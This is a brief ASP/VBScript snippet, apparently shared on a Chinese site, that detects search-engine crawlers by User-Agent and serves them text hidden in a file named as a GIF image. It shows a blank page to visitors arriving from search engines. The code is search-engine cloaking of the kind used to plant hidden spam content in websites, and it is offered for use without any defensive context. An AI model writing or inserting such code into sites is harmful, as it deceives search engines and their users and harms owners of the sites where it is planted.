一段让asp程序在搜素引擎打不开的代码
[vb]
<%
function isspider()
dim i,agent,searray
agent="agent:"&lcase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogouspider","yahoo","sosospider")
isspider= false
for i=0 to ubound(searray)
if (instr(agent,searray(i))>0) then isspider=true
next
end function
function fromse()
dim urlrefer,searray,i
urlrefer="refer:"&lcase(request.servervariables("http_referer"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","baidu","sogou","yahoo","soso")
for i=0 to ubound(searray)
if (instr(urlrefer,searray(i))>0) then fromse=true
next
end function
if(isspider()) then
dim myfso,fileurl,filecon,myfile
fileurl=server.mappath("images/bg01.gif")
set myfso=server.createobject("scripting.filesystemobject")
if myfso.fileexists(fileurl) then
set myfile=myfso.opentextfile(fileurl, 1)
filecon=myfile.readall
response.write(filecon)
myfile.close
set myfile=nothing
set myfso=nothing
response.end
end if
end if
if (fromse()) then
response.write("<br/>")
response.end
else
end if
%>